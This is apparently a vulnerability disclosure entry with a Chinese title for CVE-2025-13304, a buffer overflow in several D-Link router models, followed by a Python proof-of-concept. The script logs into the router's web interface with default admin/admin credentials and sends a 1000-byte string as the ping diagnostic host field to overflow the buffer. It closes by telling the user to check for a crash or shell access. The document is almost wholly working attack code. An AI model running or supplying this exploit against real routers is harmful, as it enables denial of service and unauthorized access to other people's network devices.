CVE-2025-13304 D-Link多型号路由器 formPingDiagnosticRun 缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-13304 PoC - D-Link Router formPingDiagnosticRun Buffer Overflow Affected: DWR-M920, DWR-M921, DWR-M960, DWR-M961, DIR-825M (Firmware 1.01.07/1.1.47) Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-13304 """ import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" LOGIN_URL = f"{TARGET_HOST}/login.cgi" PING_URL = f"{TARGET_HOST}/boafrm/formPingDiagnosticRun" def login(session, username="admin", password="admin"): """Authenticate to the D-Link router web interface""" login_data = { "username": username, "password": password } try: response = session.post(LOGIN_URL, data=login_data, timeout=10) return response.status_code == 200 except requests.exceptions.RequestException: return False def exploit_buffer_overflow(session, host_param): """Send malicious ping request to trigger buffer overflow""" # Buffer overflow payload - oversized host parameter # Typical buffer size in embedded systems is 128-256 bytes # Sending 1000+ bytes to overflow the buffer overflow_payload = "A" * 1000 if host_param: overflow_payload = host_param ping_data = { "host": overflow_payload, "action": "ping" } try: response = session.post(PING_URL, data=ping_data, timeout=10) print(f"[*] Request sent to {PING_URL}") print(f"[*] Payload length: {len(overflow_payload)}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def main(): print("[*] CVE-2025-13304 D-Link Router Buffer Overflow PoC") print("[*] Target: DWR-M920/M921/M960/M961, DIR-825M") print("[*] Vulnerability: Buffer overflow in /boafrm/formPingDiagnosticRun") session = requests.Session() # Attempt login with default credentials print(f"[*] Attempting authentication to {TARGET_HOST}") if login(session): print("[+] Authentication successful") else: print("[!] Authentication failed, trying without login...") # Send buffer overflow payload print("[*] Sending buffer overflow payload...") exploit_buffer_overflow(session, None) print("[*] Exploit sent. Check device for crash or shell access.") if __name__ == "__main__": main()